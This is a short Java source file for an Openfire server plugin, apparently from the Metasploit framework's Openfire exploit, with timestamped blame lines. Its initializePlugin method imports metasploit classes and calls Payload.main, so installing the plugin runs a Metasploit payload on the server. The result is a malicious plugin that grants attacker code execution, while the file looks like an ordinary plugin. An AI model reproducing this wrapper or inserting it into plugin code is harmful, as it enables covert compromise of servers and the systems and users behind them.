2012-06-24 11:35:38 +00:00
|
|
|
package com.example.openfire.plugin;
|
|
|
|
|
|
|
|
import java.io.*;
|
|
|
|
import java.util.TimerTask;
|
|
|
|
|
|
|
|
import org.jivesoftware.util.JiveGlobals;
|
|
|
|
import org.jivesoftware.openfire.container.Plugin;
|
|
|
|
import org.jivesoftware.openfire.container.PluginManager;
|
|
|
|
|
|
|
|
import org.jivesoftware.util.JiveGlobals;
|
|
|
|
import org.jivesoftware.util.Log;
|
|
|
|
import org.jivesoftware.util.TaskEngine;
|
2012-06-26 15:56:44 +00:00
|
|
|
import metasploit.*;
|
2012-06-24 11:35:38 +00:00
|
|
|
|
|
|
|
public class Example implements Plugin {
|
|
|
|
|
|
|
|
public void initializePlugin(PluginManager manager, File pluginDirectory) {
|
|
|
|
try{
|
2012-06-26 15:56:44 +00:00
|
|
|
Payload.main(null);
|
|
|
|
}
|
2012-06-24 11:35:38 +00:00
|
|
|
catch (Exception ex)
|
|
|
|
{
|
|
|
|
Log.error("error", ex);
|
|
|
|
}
|
2012-06-26 15:56:44 +00:00
|
|
|
|
2012-06-24 11:35:38 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
public void destroyPlugin() {
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|